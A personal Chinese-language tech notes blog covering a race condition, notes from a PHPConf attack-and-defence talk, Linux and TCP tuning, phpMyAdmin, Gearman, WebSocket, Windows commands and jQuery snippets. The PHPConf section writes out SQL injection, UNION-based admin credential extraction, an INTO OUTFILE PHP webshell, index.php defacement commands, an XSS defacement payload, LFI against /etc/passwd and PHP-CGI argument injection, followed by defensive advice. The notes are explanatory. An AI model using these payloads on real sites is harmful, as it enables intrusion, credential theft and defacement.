Jex’s Note

Race Condition

當幾乎同時間被不同 Thread 存取共同資料時,而資料存取過程中沒有 lock 起來, 就會造成資料不符合預期的結果

例如:

p1.setProduct(prod);
p2.setProduct(prod);
p3.setProduct(prod);

Thread t1 = new Thread(p1);
Thread t2 = new Thread(p2);
Thread t3 = new Thread(p3);

t1.start();
t2.start();
t3.start();

結果:

Processor 3 Create Order for: my_product_01(NT$ 30.0, modified by processor: 3)
**Processor 2 Create Order for: my_product_01(NT$ 30.0, modified by processor: 3)**
**Processor 3 Create Order for: my_product_01(NT$ 20.0, modified by processor: 2)**
**Processor 1 Create Order for: my_product_01(NT$ 30.0, modified by processor: 3)**
Processor 2 Create Order for: my_product_01(NT$ 20.0, modified by processor: 2)
Processor 2 Create Order for: my_product_01(NT$ 20.0, modified by processor: 2)

ref : http://richardarchitect.blogspot.tw/2007/04/synchronized.html

PHPConf 防駭與攻擊重點整理

“矛盾大對決”是 PHPConf 的第一場 , 很不錯的開場, 而且也補足我一些防駭的觀念

一邊防守, 一邊攻擊及解說, 實在太讚了!

SQl Injection

show.php?id=1 + '

= show.php?id=1'

  • 如果有錯誤代表沒有做過濾
  • 補充 : sql injection 也可以直接在密碼地方輸入 ' or "1"="1" -- 來測試它是否有漏洞

寫後門改首頁

show.php?id=20 into outfile '/var/www/.a.php' lines terminated by '<?php eval($_POSST[cmd];?>'

/var/www 建立一個 PHP 的後門 前提是 apache 要有對資料夾執行寫檔的權限

改首頁囉 !

http://XXXX.XXX/.a.php POST, cmd的值為 :

檢視資料清單

echo `ls -alh`

` 包起來代表 php 會去執行 linux command

改首頁

echo `echo Hack by Orange > index.php`

使用 union 污染 sql 結果

這邊不太懂

show.php?id=1

SELECT * FROM news WHERE id=1

show.php?id=1 union select 1,2,3

SELECT * FROM news WHERE id=1 union select 1,2,3

show.php?id=-1 union select 1,2,3

SELECT * FROM news WHERE id=-1 union select 1,2,3

最後會將 1 2 3 顯示在網頁上不同的區塊, 藉此知道它的欄位會顯示在哪

洩露敏感資訊

show.php?id=-1 union select 1,user(),database()

取得管理員帳號密碼

show.php?id=-1 union select 1, username, password from admin where username like '%admin%'

再拿被加密過的密碼拿去反解

繞過空白字元檢查過濾

mysql 解釋語法寬鬆特性

show.php?id=-1 union select 1,2,3

show.php?id=-1/**/union/**/select/**/1,2,3 (OK)

show.php?id=-1%09union%0Dselect%A01,2,3 (試不出來)

hex 值 : %09 : 水平定位符號, 也就是 TAB 鍵 %0D : %A0 : 不知道是不是寫錯了, %0A ENTER 鍵, 比較像(不確定)

show.php?id=(-1)union(select(1),2,3) (OK)

繞過單引號過濾檢查

select ‘foo’ = select 0x666f6f

show.php?id=-1 union select username, password, 3 from admin where userlike 0x2561646d25

25= % 61 = a 64 = d 6d = m

如果 into outfile ‘/var/www/.a.php’ 被鎖, 不能寫檔

XSS 並不是偷 cookie 而已, 也可以劫持首頁

<script>window.onload = function (){document.write(/Hacked by Orange/)}</script>

PHP 雙引號執行

簡單來說就是包在雙引號裡會執行變數的值

  • $db_user = “root”;
  • $db_user = “root $foo”;
  • $db_user = “root ${@phpinfo()}”;
  • $db_user = “root ${@eval($_POST[cmd])}”;

Local file inclusion

假如有一段 code

$_mod = $_GET[module];
include('modules/'. $_mod .'.php');

可以 load GET 值的頁面

  • index.php?module=login
  • index.php?module=logout
  • index.php?module=add

沒過濾好的話可以用來幹壞事 :

  • index.php?module=./login
  • index.php?module=./login.php%00
  • index.php?module=../../../etc/passwd%00

如果又開放讓駭客上傳檔案

  • 上傳圖片
  • /var/log/httpd/access.log
  • upload + $_FILES[file][tmp_name]
  • /proc/self/environ

index.php?module=../../../proc/self/environ :

User-Agent : <?php file_put_contents(‘.a.php’, $_POST[c]); ?>

  • HTTP_USER_AGENT=Mozilla/5.0 (Macinosh; Intel Mac OS X 10.8; rv:24.0)
  • Gecko/20100101 Firefox/24.0

可以利用 Firefox 工具 User-Agent, 改成 <?php@phpinfo();?>

頁面就會執行 phpinfo 的結果了

PHP-CGI Argument Injection

index.php?-s

php-cgi -s index.php

會噴出 index.php 的 code

index.php?-d+allow_url_include%3dOn+-d+auto_prepend_file%3dphp://input

  • php-cgi -d allow_url_include=On
  • php-cgi -d auto_prepend_file=php://input

POST :

<?php echo `id:uname -a`; phpinfo(); ?> <?php `echo CCCC > index.php`;?>

防禦方

基本防禦 :

  • 網站、DB 要分開
  • 資料庫使用者權必須降低
  • 使用者若非需要 FILE 權限記得拿掉

防堵 SQL Injection

  • 使用 Prepared Statements
  • 過濾輸入的值, 判斷變數型態或轉強制轉型態 intval()
  • 過濾字串函數過濾非法的字元, ex : mysql_real_escape_string()addslashes()

注意 double-bytes encoding 問題, 需使用 UTF-8

  • 使用 Stored Procedures
  • 控管錯誤訊息只有管理者可以閱讀
  • 控管資料庫及網站使用者帳號權限為何

XSS 防禦

  • 不要相信任何 input
  • PHP 使用 htmlentities() 過濾輸出到 view 的字串
  • 資料庫的輸入也要過濾
  • 使用白名單機制過濾, 而不單只是黑名單
  • OWASP Cross Site Scripting Prevention Cheat Sheet

    http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

Double Quote Evaluation

  • 不同輸出決定不同限擋方式

    • 網頁 : htmlentities()
    • 資料庫 : 防止 SQL Injection
  • 直接去除 ' " ; 等含有 php 語法之特殊符號

  • 使用 Single Quote 而非 Double Quote

Local File Inclusion

  • 使用 index/hash 等方法, 而非直接讀取檔案
  • 避免將私密物件直接暴露給使用者
  • 驗證所有物件是否為正確物件

PHP-CGI Argument Injection

  • 只能更新了
  • WAF / .htaccess 等方法把所有 - 過濾掉
  • RewriteCond %{QUERY_STRING} ^(%2dl\-)[^=]+$ [NC]
  • RewriteRule (.*) - [F,L]

結論 : 駭客攻擊手法多, 必須了解攻擊手法才能針對及進行防禦

ref :

https://speakerdeck.com/p8361/phpconf-2013-mao-dun-da-dui-jue https://speakerdeck.com/allenown/phpconf-2013-mao-dun-da-dui-jue

I/O

Server 效能調校

快速設定最多開啟 file 的數量

/etc/security/limits.conf 最後增加

* soft nofile 65535
* hard nofile 65535

可以再ulimit 指令查詢

/etc/pam.d/login 加上

session    required     pam_limits.so

/etc/sysctl.conf

fs.file-max = 100000
net.core.somaxconn = 2048

修改完後執行 sudo sysctl -p 使設定值生效

TCP 參數細節

/etc/sysctl.conf

# 調高系統的 IP 及 Port 限制,可以接受更多的連接 32768 61000
net.ipv4.ip_local_port_range = 32768 65000
net.ipv4.tcp_window_scaling = 1

# 調高 socket 監聽的數值
net.core.somaxconn = 65535
net.ipv4.tcp_max_tw_buckets = 1440000

# Increase TCP buffer sizes
# 調大 TCP 儲存大小
net.core.rmem_default = 8388608
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216
net.ipv4.tcp_rmem = 4096 87380 16777216
net.ipv4.tcp_wmem = 4096 65536 16777216
net.ipv4.tcp_congestion_control = cubic

net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_tw_recycle = 1
fs.file-max = 65000

ref : http://blog.didibird.com/2016/05/24/the-way-of-turning-the-best-performance-for-nginx/

PHPConf I/O

之前參加 PHPConf Ricky 講者發表的一個主題裡談到 I/O 架構, 然候我再以它的投影片為基礎做的一個小整理

這篇適合簡單及快速了解 I/O 架構的基本介紹, 沒辦法提供專業的教學說明。

C10K Problem

  • 解決通訊問題, server 端有問題要解決, 因為要即時通知 client, server 勢必得保持大量連線
  • 1990 提出, 當連線數到達 10K 時, 一些設計不良的架構會遭遇到效能問題, 無法通過提升硬體來解決, 是操作系統固有問題
  • 假設 server 最高支撐 1000 個連線, 儘管硬體升級一倍也無法支援 2000 個連線

blocking I/O:

Serve one client with each thread/process

優點:

  • 設計容易
  • 容易實現複雜的邏輯
  • CPU 資源可充份運用

缺點:

  • 每個 thread / process 都得佔用一份記億體
  • 當連線爆增容易拖垮效能, 並且產生阻塞(block)情形

apache 的 prefork 或 worker MPM

non-blocking I/O :

改良 blocking I/O 缺點, 使用 event-driven 讓整支程式在事件發生時才做事

Asynchronous I/O

一個 thread 處埋多個連線, 同樣具有 non-blocking 特性, 使用者不需自已檢查事件是否完成, 而是系統主動通知, 使用者收到再做動作

優點:

  • 節省記憶體(不管連線數都只會佔用一份記憶體)
  • 反應速度快(不用重複產生 process)
  • 事件驅動

缺點:

  • Blocked API 也可能導致其他連線也被 block

Nginx, memcached, node.js

要處理大量連線還是得用 Asynchronous I/O

  • 實現 Asynchronous I/O 一般採用 select 及 poll 兩個系統函式
  • 在處理大量連線效能會隨連線數遞減

libevent

  • 非同步事件處理的函式庫, 提供 API 使某些事生發生時執行函式, 因此易於移植, 擴展性佳
  • 可以用來取代網路伺服器所使用的事件循環檢查框架

優點 : * 解決 3 個平台不能移植問題 * 反應速度快能應付大量連線 * 省資源

ref: http://ricky.ez2.us/

OpenResty 介紹

這是在一次技術活動聽 Pahud 大神推薦的 web server 時做的筆記,

它可大幅度提升 server 的反應速度, 尤其是對 php 這種 request / per process 的語言

先介紹各 web server 的特點

Apache

  • select 網路 I/O 模型, 處理大量連續的讀寫效率低
  • process / perconnection
  • 1~2 G Ram 同時服務幾百人

缺點 : 阻塞

Nginx

  • epoll 網路 I/O 模型, 高併發下效能好
  • 佔用更少的 Ram
  • 請求非同步

優點 : 非阻塞

運作流程 : Master process 將 resque 丟給 worker, worker 再丟到 Task Queue 執行

  • Single process / thread - 利用 coroutine 達到多工
  • worker 數量 = cpu core 數量

假如 php 跑在 nginx 上, 仍會阻塞, 因為 php 是線性一個一個撈取 (拿留言版 -> 再拿心情帖 -> 再拿大頭貼)

OpenResty (ngx_openresty)

  • 不是新的 web server
  • 不是 nginx fork, 可跟上最新的 nginx 核心
  • 打包標準 nginx 核心及常用的第三方模組
  • 可處理極高並發請求的高性能 web 應用
  • 無縫結合 Lua, 可在 nginx 執行 lua script

先來講 Lua 帶來的好處

  • Multiple concurrent subrequests in Lua
  • Shared-memory dictionary API in Lua
  • The socket API is implemented atop Lua conroutines and is synchronous and non-blocking

運作流程 : 由 openresty 來伴演 Frondend API, 將每個 API request 拆成 subrequest 再並行發送到 sub API

詳細實現原理 :

每個 worker 是一個 process, 單執行緒處理多個連線, 可想像成一個 node.js

Worker 會跑 Lua VM, 使用 coroutine 方式處理連線, 一個連線就是一個 coroutine,

如果要做其他的 network I/O 等等動作, 會把控制權交給 Lua VM, 再交由其他 coroutine 去做, 做完後再把控制權交回

即使是線性的 php 也可以達到完全非阻塞

四核 16G Ram 可達到 60,000 req/s 真實流量

Phpmyadmin

安裝 phpmyadmin

sudo apt-get install phpmyadmin

啟動 phpmyadmin

Apache

/etc/apache2/apache2.conf 加入 :

Include /etc/phpmyadmin/apache.conf
sudo service apache2 restart

nginx

將 phpmyadmin 的 code 放到 /var/www 下

ln -s /usr/share/phpmyadmin /var/www/phpmyadmin

建立 /etc/nginx/sites-available/phpmyadmin :

server {
    listen 80;
    root /var/www/phpmyadmin;

    index index.php index.html index.htm index.nginx-debian.html;

    server_name db.ivy-way.com;

    location / {
        try_files $uri $uri/ =404;
    }

    location ~ \.php$ {
       include snippets/fastcgi-php.conf;
       fastcgi_pass unix:/var/run/php5-fpm.sock;
    }
}

建立 phpmyadmin 的 site config

ln -s /etc/nginx/sites-available/phpmyadmin /etc/nginx/sites-enabled/phpmyadmin

如果沒有設定密碼會連不進去

修改 /etc/phpmyadmin/config.inc.php : 將註解拿掉

// $cfg['Servers'][$i]['AllowNoPassword'] = TRUE;
刪註解
$cfg['Servers'][$i]['AllowNoPassword'] = TRUE;

重啟動

sudo service apache2 restart

這樣會有安全性的問題, 趕緊設定一組帳密, 再改回來變成不允許空密碼登入~

修改 phpmyadmin cookie 存活時間

修改 config.inc.php :

$cfg['LoginCookieValidity'] = 86400; // 不管你下面設定幾台 db server (e.g. `$cfg['Servers'][$i]['host'] = ''`), 都統一吃這個值, 不能各別設定

修改 /etc/php5/fpm/php.ini, 改完重啟 php-fpm

session.gc_maxlifetime = 86400

一定要兩個都改才會生效

phpmyadmin 設定免登入直接進入

$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['username'] = 'root';
$cfg['Servers'][$i]['password'] = 'your_password';

auth_type = config 意是是認證應該由 configuration 而不是 login cookie

安裝 Gearman 及使用

介紹

Gearman 是可以在 backgroud 做事的 job worker

安裝 Gearman

可參考apple boy安裝步驟

如果一直安裝失敗可以執行以下試看看 :

sudo apt-get update
sudo apt-get upgrade

Persistent Storage : MySQL

預設 queue 是存在記憶體, 如果重開或 server crash, queue 就不見了, 所以我們需要一直永久存放 queue 的地方, 詳細可參考官方文件的說明

設定 /etc/default/gearman-job-server

PARAMS="-q mysql --mysql-host=localhost --mysql-user=root --mysql-db=test --mysql-table=gearman_queue"

PARAMS=“-q mysql –mysql-host=localhost –mysql-user=xxxx –mysql-password=xxxxx–mysql-db=gearman –mysql-table=gearman_queue”

搭配 MySQL, 使用 test DB, 建立 gearman_queue 資料表

mysql -u root
> use test;
> CREATE TABLE IF NOT EXISTS `gearman_queue` (
>   `unique_key` VARCHAR(64) DEFAULT NULL,
>   `function_name` VARCHAR(255) DEFAULT NULL,
>   `priority` INT(11) DEFAULT NULL,
>   `data` longblob,
>   `when_to_run` INT(11) DEFAULT NULL,
>   UNIQUE KEY `unique_key` (`unique_key`,`function_name`)
> ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
  • 一定要加上 primary key ? .. 不確定, 參考語法 :
  • ALTER TABLE gearman_queue ADD COLUMN `id` INT(10) UNSIGNED PRIMARY KEY AUTO_INCREMENT;

安裝 gearman API extension

pecl install channel://pecl.php.net/gearman-1.1.0

建立 /etc/php5/conf.d/gearman.ini (預設不存在)

extension=gearman.so

重啟 apache2

測試是否安裝成功

php -i | grep gearman

或看 phpinfo 搜尋 gearman

測試 gearman

worker.php

<?php
$worker = new GearmanWorker();
$worker->addServer(); // ______ localhost
$worker->addFunction('content', 'writeContent');
while($worker->work()) {
    sleep(5); // ______________ CPU ________
}
function writeContent ($job)
{
    $data = unserialize($job->workload());
    file_put_contents($data['file_path'], $data['content'], FILE_APPEND);

    echo "Writing content is done.\n\n";
    return "done !";
}

每 5 秒執行一次 job

client :

<?php
$client = new GearmanClient();
$client->addServer(); // ______ localhost

// get content
$file_path = '/var/www/gearman/test';
$random = uniqid(md5(rand()));

$contentData = array(
    'file_path' => '/var/www/gearman/test',
    'content' => "random string : {$random}\n",
);
$client->doBackground('content', serialize($contentData));
echo "Content sending is done.\n";
  • 執行一個 job
  • job 內容是在 test 檔案最下面新增一行亂數 string

首先執行幾個 job

jex@server:/var/www/gearman$ php client.php
Content sending is done.
jex@server:/var/www/gearman$ php client.php
Content sending is done.
jex@server:/var/www/gearman$ php client.php
Content sending is done.

執行了 3 次, 所以 mysql 應該會有 3 筆 job

mysql> select * from gearman_queue;
+--------------------------------------+---------------+----------+-----------------------------------------
-----------------------------------------------------------------------------------+-------------+----+
| unique_key                           | function_name | priority | data
                                                                                   | when_to_run | id |
+--------------------------------------+---------------+----------+-----------------------------------------
-----------------------------------------------------------------------------------+-------------+----+
| 07e32f6e-39a9-11e3-a226-51311deaabd9 | content       |        1 | a:2:{s:9:"file_path";s:21:"/var/www/gear
:"content";s:62:"random string : 2f58db93c9ea5194a32ccafaa199e17352640c057f178
";} |           0 | 45 |
| 09b01140-39a9-11e3-98d2-35e0215e492c | content       |        1 | a:2:{s:9:"file_path";s:21:"/var/www/gear
:"content";s:62:"random string : 66887b7529f4febdd0aa3dcfd1b7a39952640c0893241
";} |           0 | 46 |
| 0a5191aa-39a9-11e3-947c-b396c882ad21 | content       |        1 | a:2:{s:9:"file_path";s:21:"/var/www/gear
:"content";s:62:"random string : b1aba74b60afbd1db1f38b04b865b4b152640c09a1662
";} |           0 | 47 |
+--------------------------------------+---------------+----------+-----------------------------------------
-----------------------------------------------------------------------------------+-------------+----+
3 rows in set (0.00 sec)

test 檔, 檔案本身存放一筆資料 :

jex@server:/var/www/gearman$ tail -f test
random string : e03adeb9683f95764753a7741ff810bd5260f5ef989fc

當執行 worker 後, 每一次執行 job 就會新增一行 random string

執行 worker :

jex@server:/var/www/gearman$ php worker.php

就開始執行了~ 每5秒就會執行一次 job

所以 test 最後會有 4筆資料:

jex@server:/var/www/gearman$ tail -f test
random string : e03adeb9683f95764753a7741ff810bd5260f5ef989fc
random string : 2f58db93c9ea5194a32ccafaa199e17352640c057f178
random string : 66887b7529f4febdd0aa3dcfd1b7a39952640c0893241
random string : b1aba74b60afbd1db1f38b04b865b4b152640c09a1662

而 mysql 原本存放的 3 筆 job, 因為執行後就會自動刪掉

mysql> select count(*) from gearman_queue;
+----------+
| count(*) |
+----------+
|        0 |
+----------+
1 row in set (0.19 sec)

queue 存放在 mysql 的新增跟刪除的動作, 全部是交由 gearman 做, 我們完全不用動手處理, 相當方便!

執行結果 :

result.PNG

ref : http://blog.wu-boy.com/2013/06/how-to-install-gearman-on-ubuntu-or-debian-with-mysql/ http://www.phamviet.net/2012/10/10/ubuntu-php-5-4-x-and-gearman-troubleshooting/

Websocket 介紹

前言

introduction.png

傳統網頁無法從 server 主動丟訊息給 browser, websocket 是一個能讓 client 跟 server 雙向溝通的 protocal

簡單的解決方法 : Ajax Polling

ajax-polling.png

利用 setInterval() 與 server 持續溝通

優點:

  • 簡單易做
  • 跨瀏覽器

缺點:

  • 消耗伺服器頻寬和資源

改良上述的缺點 Ajax Long-Polling

Ajas-long-polling.png

透過 HTTP 1.1 協定新增的 Chunked Transfer Encoding, 告知瀏覽器, 不要中斷連線, 進入等待

client 發一個長時間的 request, 當 server 回覆馬上斷掉, client 再重發一個

Facebook 及 Plurk 目前也是使用這種方法

FB network : fb_header.PNG

FB header fb_header_chunked.PNG

優點:

  • 在無消息的情況下不會頻繁請求
  • 支援 IE6

缺點:

  • 只能單向溝通
  • 無法 cross-domain

HTML5 提供更好的解決方法 : websocket

websocket.png

第一次 browser 和 server 只需握手, 就可以形成一條雙向通道

優點

  • client 與 server 可隨時互丟資料
  • cross-domain
  • 允許 binary data
  • 節省 server 資源與頻寬

缺點:

  • 只支援 Firefox, Chrome, Safari, IE10

Windows

修改 win8 host (C:\Windows\System32\Drivers\etc)

[1] 修改編輯權限

選擇 hosts 右鍵->內容->安全性->點擊”群組或使用者名稱”下面的編輯->修改 ALL APPLICATION PACKAGES 權限->將”修改”勾選允許

[2] notepad++ 以系統管理員執行身份

C:\Program Files (x86)\Notepad++\notepad++.exe 右鍵->以系統管理員身份執行

[3] 就可以在 hosts 加入要對應的 ip 跟 domain

發生 'ping' 不是內部或外部命令、可執行的程式或批次檔。

發生原因 : C:\Windows\system32 放一些如 ping.exe, 所以當 PATH 路徑未指到 C:\Windows\system32

解決方法1 :

cd C:\Windows\system32
ping www.google.com.tw

解決方法2 :

將 PATH 全域變數指向 %SystemRoot%\system32;%SystemRoot%

  • 如果 PATH 本身已有設定值, 以 ; 分隔
  • %systemRoot%C:\Windows

.bat 語法

  • pause : 暫停, 當指令執行完不要直接關閉視窗

清除 dns cache

ipconfig /flushdns

清除瀏覽器指令 :

  • chrome : chrome://net-internals/#dns
  • firefox : about:config -> network.dnsCacheExpiration = 0

顯示環境變數

echo %PATH%

查看本機網卡 mac

ipconfig/all

檢查連線

ping 192.168.1.2 -n 1 -w 200
  • -n : count, 要傳送的 echo 要求數目
  • -w : timeout, 每個回覆的等候逾時(毫秒)

迴圈執行 ping

for /L %i in (1,1,254) do ping 192.168.128.%i -n 1 -w 200 > NUL

ARP

清除記憶體的網卡紀錄

arp -d *

判斷幾位元

systeminfo
  • x64-based PC => 64bits
  • x86-based PC => 32bits

Dos 指令

Unix / Dos 對照表

Unix        Dos
------------------
cd          cd
mkdir       md          mkdir 也是可以的
rmdir       rd          rmdir 也是可以的
pwd         cd
env         set
setenv      set
rm          del
cat/more    type
ls          dir
lp          print
cp          copy
date        date/time
mv          ren
man         help
clear       cls

dir /p 只出現一頁, 按 enter 到下一頁
dir /w 只顯示檔案名稱
dir /s xxx.txt 搜尋檔案

FORMAT C:                               格式化 C:\
COPY A: lmi.txt C: hsuyin.txt       COPY 檔案
COPY A: *.EXE C:                     COPY 檔案
dir > 1.txt                             將 dir 的內容傳到 1.txt

前端 HTML/CSS/JS

SEO

搜尋引擎將在子網域的網站視為完全不同的站

而將子目錄視為一個已存在的網站組成的一部份

加上 rich snippet

這是一個提供額外的資訊當在搜尋引擎列出結果時, 然候你要列出來的資訊有很多型態, 可能是你的產品, 額外想要顯示的售價等等

型態被定義在 schema.org, 你必須先確定你想顯示的資料型態為何, 再按照這個型態所定義的標籤屬性

例如 Product, 格式就要參考 schema.org/Product, code 請參考 Google 範例

如何加上? 在 body 或 header 任意地方加上 schema 規定的屬性 即可, 可以利用 google - Structured Data Testing Tool 幫忙檢查你要加上的是否被正確分析 :

<div itemscope itemtype="http://schema.org/Book">
    <span itemprop="name"> Inbound Marketing and SEO: Insights from the Moz Blog</span>
    <span itemprop="author">Rand Fishkin</span>
</div>

可參考 此站

覆寫網站所有字型

html * {
    font-family: 'Arial Black', 'Arial', "新細明體", 'PMingLiU', 'sans-serif';
}
  • PMingLiU : 新細明體的英文版名稱
  • sans-serif : 無襯線字

base64 圖檔

<img src="data:image/jpeg;base64,/9j/4AAQSknK2h//2Q==" alt="" />

Preview image and get actual width and height

HTML :

<input type="file" id="add-photo" name="add_photo">
<img width="200" height="100" id="add-photo_preview"/>

JS :

$('#add-photo').on('change', function (e) {
    // Create img
    var tempImg = document.createElement('img');
    console.log(document.querySelector('#add-photo').files[0]);  // File object
    // Put local image object into tempImg
    tempImg.src = window.URL.createObjectURL(document.querySelector('#add-photo').files[0]);
    tempImg.onload = function() {
        // Render image
        window.URL.revokeObjectURL(this.src);
        // We can get actual width and height.
        console.log(this.width);
        console.log(this.height);
    };
    $("#add-photo_preview").attr('src', tempImg.src);
});

Get checkbox array

HTML :

<input type="checkbox" class="courses" data-course-id="1" value="1">
<input type="checkbox" class="courses" data-course-id="2" value="2">

JS :

var courses = [];
$(".courses:checked").each(function() {
    courses.push($(this).data('course-id'));
});

Get radio value

HTML :

<input type="radio" name="role" id="role-student" value="student" checked>
<input type="radio" name="role" id="role-parent" value="parent">

JS :

role = $('input[name=role]:checked').val();

name 是陣列的話要加上引號
$('input[name="user[domain]"]:checked').length  // 沒選擇為 0, 選擇其中一項為 1

判斷 group radio 其中一項有沒有被選取

$('input:radio[name=language_preference]').is(":checked")

只返回 true 或 false,

uncheck radio/checkbox group

radio :

$('input[name=sex]').each(function () {
    $(this).prop('checked', false);
});

checkbox :

$("input[name='exercises[]']").each(function () {
    $(this).prop('checked', false);
});

Select 初始完後直接觸發

$('#exercises').on('change', funciton () {
    // do something
}).trigger('change');

Javascript tirgger HTML5 native validation

HTML:

<form id="test_form">
    <input type="text" name="location" required/>
</form>

JS:

$('#test_form').on('click', function () {
    if (test_form.checkValidity()) {
        console.log('ok');
    } else {
        console.log('fail');
    }
});

捲軸移動超過 content, sidebard 跟著移動

HTML:

<div id="header">Header</div>
<div id="wrapper">
    <div id="left">
        <div id="sidebar">Sidebar Text here!</div>
    </div>
    <div id="right">This is the text of the main part of the page.</div>
    <div class="clear"></div>
</div>
<div id="footer">Footer</div>

CSS:

#header {
    background: #c2c2c2;
    height: 50px;
}
#wrapper {
    position: relative;
    min-height: 500px; /* Just as an example */
    width: 500px;
}
#left {
    position: absolute;
    background: #d7d7d7;
    width: 150px;
    height: 100%;
}
#right {
    position: relative;
    width: 350px;
    float: right;
}
#sidebar {
    background: #0096d7;
    width: 150px;
    color: #fff;
}
.clear {
    clear: both;
}
#footer {
    background: #c2c2c2;
    height: 500px; /* Just as an example */
}

JS:

$(document).ready(function () {
    var length = $('#left').height() - $('#sidebar').height() + $('#left').offset().top;
    $(window).scroll(function () {
        var scroll = $(this).scrollTop();
        var height = $('#sidebar').height() + 'px';
        if (scroll < $('#left').offset().top) {
            $('#sidebar').css({
                'position': 'absolute',
                'top': '0'
            });
        } else if (scroll > length) {
            $('#sidebar').css({
                'position': 'absolute',
                'bottom': '0',
                'top': 'auto'
            });
        } else {
            $('#sidebar').css({
                'position': 'fixed',
                'top': '0',
                'height': height
            });
        }
    });
});

或直接用套件 Sticky-Kit, 用法很簡單

記得在 wrapper 底下做 clear: both, 否則 sidebar 太長會穿過 wrapper

ref: FIXING A SIDEBAR WHILE SCROLLING, UNTIL BOTTOM WITH JQUERY

HTML5 Sortable

HTML:

<script type="text/javascript" src="js/jquery.sortable.min.js"></script>
未分班學生 :
<ul class="name_container">
</ul>
己分班學生
<ul class="name_container">
</ul>

JS:

// 學生名字標簽可拖曳
$('.name_container').sortable({
    connectWith: '.name_container'
});

CS:

/* 所有名稱標簽的長寬 */
.name_container {
    min-height: 100px;
    width: 200px;
    -webkit-touch-callout: none;
    -webkit-user-select: none;
    -khtml-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    user-select: none;
    list-style-type: none;
    padding: 0px;
    margin: 0px;
}
.name_container li {
    border: 1px solid #CCC;
    background: #F6F6F6;
    font-family: "Tahoma";
    color: #1C94C4;
    margin: 2px;
    height: 30px;
    line-height: 30px;
    overflow: hidden;
    white-space: nowrap;
    text-align: center;
}
.name_container li.highlight {
    background: #FEE25F;
}

/* 拖移時顯示的預放位置以虛線顯示 */
li.sortable-placeholder {
    border: 1px dashed #CCC;
    background: none;
}

overflow-x: scroll 水平排列

HTML:

<div class="container">
    <div class="item">item1</div>
    <div class="item">item2</div>
    <div class="item">item3</div>
    <div class="item">item4</div>
</div>

CSS:

.container{
    white-space: nowrap;
    overflow-x: auto;
    overflow-y: hidden;
}
.item {
    vertical-align: top;
    width: 300px;
    display: inline-block;
}

audio speed control

JS :

function initAudio(){
    var audio = new Audio();
    audio.src = "http://downloads.bbc.co.uk/learningenglish/features/6min/151105_6min_english_plastic_bags_download.mp3";
    audio.play();
    var speedlist = document.getElementById("speedlist");
    speedlist.addEventListener("change",changeSpeed);
    function changeSpeed(event){
        audio.playbackRate = event.target.value;
    }
}
window.addEventListener("load", initAudio);

HTML :

<select id="speedlist">
  <option value="1">change speed</option>
  <option value=".5">.5</option>
  <option value="1">Normal</option>
  <option value="1.5">1.5</option>
  <option value="2">2</option>
</select>

判斷滑鼠 mouse event which

$('#mylink').click(function(e){
    if ( (e.which == 1) ) {
        alert("left button");
    } else if ( (e.which == 2) ) {
        alert("middle button");
    } else if ( (e.which == 3) ) {
        alert("right button");
    }
});

失效則使用 e.preventDefault()

js l10n

util.js :

(function () {
    var L10N = window.L10N || {};
    window.L10N = L10N;

    if (!L10N.util) {
        L10N.util = {};

        L10N.util.getTrans = function (key, token) {
            if (typeof L10N.lang[key] === 'undefined') {
                return 'undefine-string!!';
            }
            var value = L10N.lang[key];
            if (typeof token === 'object') {
                for (var i in token) {
                    value = value.replace('{' + i + '}', token[i]);
                }
            }
            return value;
        };

        L10N.util.htmlspecialchars = function (str) {
            return str.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/"/g, "&quot;");
        };
        L10N.util.htmlspecialchars_decode = function (str) {
            return str.replace(/&amp;/g, "&").replace(/&lt;/g, "<").replace(/&gt;/g, ">").replace(/&quot;/g, "\"");
        };
        L10N.util.nl2br = function (str) {
            return str.replace(/\n/g, "<br>");
        };
        L10N.util.trimDot = function (value) {
            return value.replace(/[.\s]+$/, '');
        };
    }

})();

lang/zh-TW/l10n.js :

(function () {
    var L10N = window.L10N || {};
    L10N.lang = L10N.lang || {};
    // common
    L10N.lang['admin-common-system_info'] = '系统讯息';

    // system - group
    L10N.lang['admin-system-group-edit_success'] = '修改成功';
})();

test/main.js :

alert(L10N.util.getTrans('admin-common-system_info'));

一些觀念

  • AngularsJS 與 bootstrap 一起使用的話要把 angular 的 $ 換掉
  • Angular 建議用第 2 版, 聽說改善很多效能問題
  • iOS 可用 react native, android 的 react native 要再等等
  • ios react native = javscript + swift
  • react native 是 native app 不是 web app

jQuery validate

安裝

下載頁面, download 載下來是一大包, 只需要 dist/jquery.validate.min.js 就好

或 Rails gem

gem 'jquery-validation-rails', '~> 1.13.1'
bundle install

assets/javascripts/application.js :

//= require jquery.validate
//= require jquery.validate.localization/messages_zh_TW
//# require jquery.validate.additional-methods

Rails 記得重啟才會生效

Example

$("#my-form").validate({

  rules: {
    'user[first]': {
      required: true
    }
  },

  // Specify the validation error messages
  messages: {
    'user[first]' : {
      required: 'First 未填'
    }
  },

  submitHandler: function(form) {
    form.submit();
  }
});

<button type="submit" class="btn btn-success">submit</button>

送出後 validate 會自動攔截 submit 行為, 通過後才會送出

validate

required : true
equalTo : "#confirmed_password"
rangelength : [2, 20]
minlength: 8

custom validation :

$.validator.addMethod(
  "alphabets", function(value, element, regexpr) {
    return regexpr.test(value);
  },"請輸入英文字母");

alphabets : /^[A-Za-z]{2,20}$/

預設是無法 Validate Hidden field 的, 加上 ignore: "" 就可以了

$("#form1").validate({
    ignore: "",
    rules: {
        something: {
            number:true,
            min:1,
            required:true
        }
    }
});

驗證 file 方法1

$('#my-form').validate({
    rules: {},
    messages: {},
    ...
});
$('input[name^="fileupload"]').rules('add', {
    required: true,
    accept: "image/jpeg, image/pjpeg"
})

驗證 file 方法2

rules: {
  'user[doc_file]': {
    required: true
  }
},
messages: {
  'user[doc_file]': {
    required: '請選擇檔案'
  }
},

messages

不管是自訂的 validation 還是預設的, 錯誤訊息 name 都是對應的

覆寫預設的錯誤訊息樣式

$.validator.setDefaults({
    errorElement: "span",
    errorClass: "help-block",
    highlight: function (element, errorClass, validClass) {
        $(element).closest('.form-group').addClass('has-error');
    },
    unhighlight: function (element, errorClass, validClass) {
        $(element).closest('.form-group').removeClass('has-error');
    },
    errorPlacement: function (error, element) {
